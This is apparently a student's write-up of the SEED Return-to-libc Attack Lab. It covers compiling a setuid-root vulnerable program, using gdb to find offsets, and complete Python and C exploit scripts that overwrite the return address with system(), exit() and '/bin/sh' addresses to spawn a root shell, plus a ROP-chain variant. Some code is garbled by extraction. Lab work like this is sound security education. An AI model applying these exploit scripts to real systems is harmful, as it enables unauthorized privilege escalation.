Return-to-libc Attack Lab

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Task 1

Use the default BUF_SIZE as 12

```
1 gcc -fno-stack-protector -z noexecstack -o retlib retlib.c
2 sudo chown root retlib
3 sudo chmod 4755 retlib
```

Task 2

Task 3

Write a ${\tt envaddr.c}$

```
1 #include <stdio.h>
2 #include <stdlib.h>
3
4 void main()
```

```
5 {
6     char *shell = getenv("MYSHELL");
7     if (shell)
8         printf("%x\n", (unsigned int)shell);
9 }
```

Keep the name of the executable program with length 6 (=len('retlib'))

```
1 gcc envaddr.c -o env666
```

The address of /bin/sh is 0xbffffdef.

Note: Don't use gdb to get the address of string /bin/sh in libc. Beacause gbd will inject something to the stack and heap for debugging, so the address probably become different in runtime.

Task 4

Find the offset:

```
1 $ gcc -fno-stack-protector -z noexecstack -g -o retlib_dbg
2 $ gdb -q retlib_dbg
3 Reading symbols from retlib_dbg...done.
4 gdb-peda$ b bof
5 Breakpoint 1 at 0x80484f1: file retlib.c, line 19.
6 gdb-peda$ run
7 Starting program: /home/seed/Documents/return_to_lic/retlib_dbg
9 Breakpoint 1, bof (badfile=0x804fa88) at retlib.c:19
10 19
          fread(buffer, sizeof(char), 300, badfile);
11 gdb-peda$ p $ebp
12 \$1 = (void *) 0xbfffecb8
13 gdb-peda$ p &buffer
14 $2 = (char (*)[12]) 0xbfffeca4
15 gdb-peda$ p/d 0xbfffecb8 - 0xbfffeca4
16 \$ 3 = 20
17 gdb-peda$ quit
```

So, the distance between %ebp and &buffer inside the function bof is 20 bytes

- The range to store the address of system is: content[24:28]
- The range to store the address of exit is: content[28:32]
- The range to store the address of \bin\sh is: content[32:36]

Compose exploit.py as follows:

```
1 #!/usr/bin/python3
```

```
2 import sys
4 # Fill content with non-zero values
5 content = bytearray(0xaa for i in range(40)) #**Note**: it must
      be modified there. the origin length of
                                                 `content` is
      300, which may cause `retlib` return directly without
      launching a root shell. Please change the length to a
      smaller int.
6
7 X = 32
                            # The address of "/bin/sh"
8 sh addr = 0xbffffdef
9 content[X:X+4] = (sh_addr).to_bytes(4, byteorder='little')
10
11 Y = 24
12 system_addr = 0xb7e42da0 # The address of system()
13 content[Y:Y+4] = (system_addr).to_bytes(4, byteorder='little')
14
16 exit_addr = 0xb7e369d0 # The address of exit()
17 content[Z:Z+4] = (exit_addr).to_bytes(4, byteorder='little')
19 # Save content to a file
20 with open("badfile", "wb") as f:
f.write(content)
```


Note: in the line 5, the length of **content** should be set to a smaller number instead of 300 both in the template and source code offered by the official site.

Or use the C version exploit.c:

```
1 #include <stdlib.h>
2 #include <stdio.h>
3 #include <string.h>
4 int main(int argc, char **argv)
5 {
      char buf[40];
6
      FILE *badfile;
7
8
      badfile = fopen("./badfile", "w");
9
10
      /* You need to decide the addresses and
11
       the values for X, Y, Z. The order of the following
12
       three statements does not imply the order of X, Y, Z.
13
       Actually, we intentionally scrambled the order. */
14
      *(long *)&buf[32] = Oxbffffdef; // "/bin/sh"
15
      *(long *)&buf[24] = 0xb7e42da0; // system()
16
      *(long *)&buf[28] = 0xb7e369d0; // exit()
17
```

```
18
19 fwrite(buf, sizeof(buf), 1, badfile);
20 fclose(badfile);
21 }
```

Finally, I got



Attack variation 1

The root shell can also be launched. But when exiting the shell, the retlib can not be terminated properly. It issues a Segmentation fault error.

Attack variation 2

```
1 mv retlib newretlib
2 ./newretlib
3 zsh:1: command not found: h
4 Segmentation fault
```

Before environment variables are pushed into the stack, the program's name is pushed in first. So the location of /bin/sh will shift if the length of program's

name changes.

Task 4

It failed.

X,Y and Z are determined by the relative distance to ebp, which is not influenced by the address randomization.

But the address of system, exit, and /bin/sh are updated.

```
1 ./env666
2 /bin/sh is in bfa0cdef
3 rm badfile
4 touch badfile
5 gdb -q retlib
6 gdb-peda$ set disable-randomization on
7 gdb-peda$ r
8 Starting program: /home/seed/Documents/return-to-libc/retlib
9 Returned Properly
10 [Inferior 1 (process 6081) exited with code 01]
11 Warning: not running or target is remote
12 gdb-peda$ p system
13 $1 = {<text variable, no debug info>} 0xb7616da0 <__libc_system>
14 gdb-peda$ p exit
15 $2 = {<text variable, no debug info>} 0xb760a9d0 <__GI_exit>
16 gdb-peda$ quit
```

Task 5

```
gcc -fno-stack-protector -z noexecstack -o retlib_rop
    retlib_rop.c

sudo chown root retlib_rop

sudo chmod 4755 retlib_rop

./retlib_rop

//retlib_rop

//bin/sh is in Oxbfffe558

Address of buffer[] : Oxbfffe520

Frame Pointer value : Oxbfffe538

Returned Properly

gdb -q retlib_rop

r

p bar

$1 = {<text variable, no debug info>} Ox8048567 <bar>
p exit

$2 = {<text variable, no debug info>} Oxb7e369d0 <__GI_exit>
```

```
1 En  ■ •)) 10:32 PM }
$1 = {< \text{text variable}, no debug info>} 0x8048567 < \text{bar>}
          p exit
$2 = {<text variable, no debug info>} 0xb7e369d0 < GI</pre>
exit>
[03/03/20]seed@VM:~/.../return to lic$ python3 exploit
rop.py
[03/03/20]seed@VM:~/.../return_to_lic$ retlib_rop
/bin/sh is in 0xbfffe558
Address of buffer[] : 0xbfffe520
Frame Pointer value : 0xbfffe538
The function bar() is invoked 1 times!
The function bar() is invoked 2 times!
The function bar() is invoked 3 times!
The function bar() is invoked 4 times!
The function bar() is invoked 5 times!
The function bar() is invoked 6 times!
The function bar() is invoked 7 times!
The function bar() is invoked 8 times!
The function bar() is invoked 9 times!
The function bar() is invoked 10 times!
[03/03/20]seed@VM:~/.../return_to_lic$
```